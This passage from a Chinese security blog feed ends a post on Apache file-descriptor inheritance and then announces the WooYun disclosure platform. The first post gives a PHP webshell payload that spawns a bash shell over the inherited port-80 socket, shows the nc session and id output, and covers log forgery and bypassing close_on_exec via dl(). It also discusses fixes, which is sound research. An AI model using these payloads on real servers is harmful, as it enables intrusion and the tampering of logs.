很好，写进去了。完美的证实了我们的想法。既然能够只用一个低权限的webshell就能读写web日志，那么以后所有的Web日志将不再有可靠性，任何信息都能加以伪造。当然伪造或删改日志不会如此简单，还有一些限制需要一定步骤，有心人继续研究吧。

0×02 深入利用

换一种思路，既然文件可以读写，那么webserver的80端口socket是否也能加以利用呢？linux系统所有都是文件，既然都是FD，肯定也能适用。首先找一下我们连接的FD号，我这里测试时写死为9，因为肯定是第一个连接：

<?php
system("python -c 'import pty;pty.spawn(\"/bin/bash\")' 1>&9 0>&9 2>&9 ;" );
?>

接着我们用nc访问一下我们的脚本：

C:\Users\GaRY>nc testplat 80
GET /shell.php HTTP/1.0
bash: /root/.bashrc: 权限不够
bash-3.00$ id
id
uid=2(daemon) gid=2(daemon) groups=1(bin),2(daemon),4(adm),7(lp)
bash-3.00$ exit
exit
exit
HTTP/1.1 200 OK
Date: Mon, 15 Nov 2010 07:16:25 GMT
Server: Apache/2.2.4 (Unix) PHP/5.2.14
X-Powered-By: PHP/5.2.14
Content-Length: 0
Connection: close
Content-Type: text/html

可见成功复用了我们连接服务器的socket，直接nc提交一个GET请求之后就返回了一个交互式的shell。这一切只需要一个简单的webshell即可完成。
利用80端口的socket复用，我们继续下去可以做穿墙等一系列更为猥琐的事情。

0×03 解决方案及后话

通过上文的分析，我们了解到，利用linux特性FD的继承，将会导致非常严重的越权问题。这本身就可以算作是一种类型的安全漏洞，不仅仅是apache，不仅仅是webserver，可能其他的网络应用都会存在类似的漏洞。
实际上Linux系统自身在设计时也考虑到了这一类安全问题。系统给出的解决方案是：close_on_exec。当父进程打开文件时，只需要应用程序设置FD_CLOSEXEC标志位，则当fork后exec其他程序的时候，内核自动会将其继承的父进程FD关闭。
这样就解决了以上说明的问题，因为当你system其他进程时，所有的fd将不再继承，则无法再利用。而你作为较低权限的进程，也无法自己打开这些文件，所有操作都会报告权限不足。
在撰写此文时，发现Apache已经意识到了此安全问题，并在最近的版本中修复了，对所有打开的FD都加入了FD_CLOSEXEC标识符。参见：https://issues.apache.org/bugzilla/show_bug.cgi?id=46425
但是（是的，还有但是），这个解决方案并不完美。内核认为，只有你在fork后再执行exec调用时，才会帮你去除这些继承的FD，而如果我一切操作都在exec之前完成，那所有的保护都将是浮云。如何做到这一切？如果php自身是通过mod_php加载入apache自身的进程空间，而通过PHP的ld函数，又可以加载一个动态链接库进入本进程上下文。这样，由于没有进行exec，因此fd依旧继承，在so中写入代码操作FD，同样可以读写修改日志文件，或者复用socket。
那如何完美的解决此问题呢？我想除非只有apache修改自身架构，子进程和主进程交互，告知每次访问的结果和数据，主进程负责写日志和输出结果。这样无需在子进程中留下任何文件句柄，单单负责脚本解析即可。子进程交给主进程的信息可能是假的，然而这样至少不能影响到之前的信息。

]]> http://www.80sec.com/security-issue-on-linux-fd-inheritance.html/feed 0 WooYun-乌云正式上线 http://www.80sec.com/wooyun-%e4%b9%8c%e4%ba%91%e6%ad%a3%e5%bc%8f%e4%b8%8a%e7%ba%bf.html http://www.80sec.com/wooyun-%e4%b9%8c%e4%ba%91%e6%ad%a3%e5%bc%8f%e4%b8%8a%e7%ba%bf.html#comments Thu, 19 Aug 2010 08:43:01 +0000 admin http://www.80sec.com/?p=173 WooYun是一个位于厂商和安全研究者之间的平台，你可以通过这个平台来接受大家报告漏洞也可以通过这个平台来报告漏洞，不同的是，所有的过程都将在WooYun上进行，你不用担心厂商像之前某些厂商所作的否认这个漏洞从而轻易否认你的努力，厂商也不用担心漏洞散落在各个Blog，论坛而导致无法及时处理导致损失，当然，这一切都是建立在尊重和荣耀这个前提。

相比漏洞的实际成因，我们更倾向于通过实际的危害来定义一个漏洞的危害和等级，所以WooYun会关注危害比较严重的譬如远程代码执行，权限提升，SQL注射之类的漏洞，一些客户端的漏洞会根据实际应用的场景和所造成的危害和影响来定义等级，譬如目前的实际环境中淘宝相对于其他厂商就比较关注URL跳转和反射型xss漏洞。与传统的漏洞相比，我们关注服务器级别的如弱密码，不安全的服务器设置这种运维级别的问题，甚至如果有钓鱼欺诈之类对业务运营有影响的问题也可以通过平台向厂商反映。如果你能通过录像或者抓图实际证明漏洞的危害将是最好的漏洞证明方式，你可以在WooYun看到我们的漏洞分类和定义。

我们欢迎影响力大的，更重要的是注重安全的厂商在WooYun注册，同时也欢迎对漏洞研究有兴趣的白帽子来WooYun投递漏洞。为了保证WooYun的质量，目前对于厂商我们采取线下邀请的方式来注册，对于白帽子会采取投递漏洞获取邀请码的方式来注册。

我们昨天刚公布了第一批的漏洞细节，通过这些漏洞我们不只可以帮助我们分析常见的漏洞类型和原理实例，还可以更好的理解互联网安全的现状以及反思我们的安全工作本身，对于漏洞，我们有五天的确认期以给厂商时间确认漏洞的存在和一个月的保密期，厂商可以在这段较长的时间里修复自己的安全问题来避免损失。

目前WooYun完全由80sec和80sec的一些朋友利用周末时间完成，所以问题也是很多的，这里也感谢大家对各种Bug的包涵 -_-||

WooYun将按照预期持续的改进

：）

官方网站：http://www.wooyun.org
关于wooyun：http://www.wooyun.org/about.php

]]> http://www.80sec.com/wooyun-%e4%b9%8c%e4%ba%91%e6%ad%a3%e5%bc%8f%e4%b8%8a%e7%ba%bf.html/feed 0